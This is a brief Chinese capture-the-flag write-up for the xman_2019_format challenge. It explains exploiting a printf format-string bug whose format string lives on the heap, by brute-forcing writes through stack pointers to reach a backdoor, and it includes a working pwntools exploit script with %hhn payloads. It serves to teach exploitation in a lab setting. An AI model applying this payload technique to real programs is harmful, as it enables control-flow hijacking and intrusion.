xman_2019_format(非栈上格式化字符串仅一次利用的爆破)

Posted rookle

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xman_2019_format(非栈上格式化字符串仅一次利用的爆破)相关的知识,希望对你有一定的参考价值。

xman_2019_format(非栈上格式化字符串仅一次利用的爆破)

首先检查一下程序的保护机制

技术图片

然后用IDA分析一下

存在后门

技术图片

首先malloc了一片堆空间,读入数据

技术图片

把刚刚读入的数据当作格式化字符串传递给printf

技术图片

这题就是考察格式话字符串不在栈上怎么利用,我们的想法就是利用栈上的数据。

首先我们把断点下在第一个printf的位置。

技术图片

由于栈的地址是随机的,成功的几率大概是1/16

from pwn import *
context.log_level = ‘debug‘
p = process(‘./xman_2019_format‘)
#gdb.attach(p,‘b *0x80485C4‘)

payload =  ‘%12c%10$hhn‘ + ‘|%172c%18$hhn|‘
payload += ‘%13c%10$hhn‘ + ‘|%133c%18$hhn‘
#print len(payload)
p.send(payload)

p.interactive()

以上是关于xman_2019_format(非栈上格式化字符串仅一次利用的爆破)的主要内容,如果未能解决你的问题,请参考以下文章

Python进阶-----通过类的内置方法__format__自定制格式化字符串

Python基础-字符串格式化_百分号方式_format方式

格式化输入 \_\_format\_\_

TypeError:传递给list .__ format__的不支持的格式字符串

[python] 格式化方法 format

Python format 格式化函数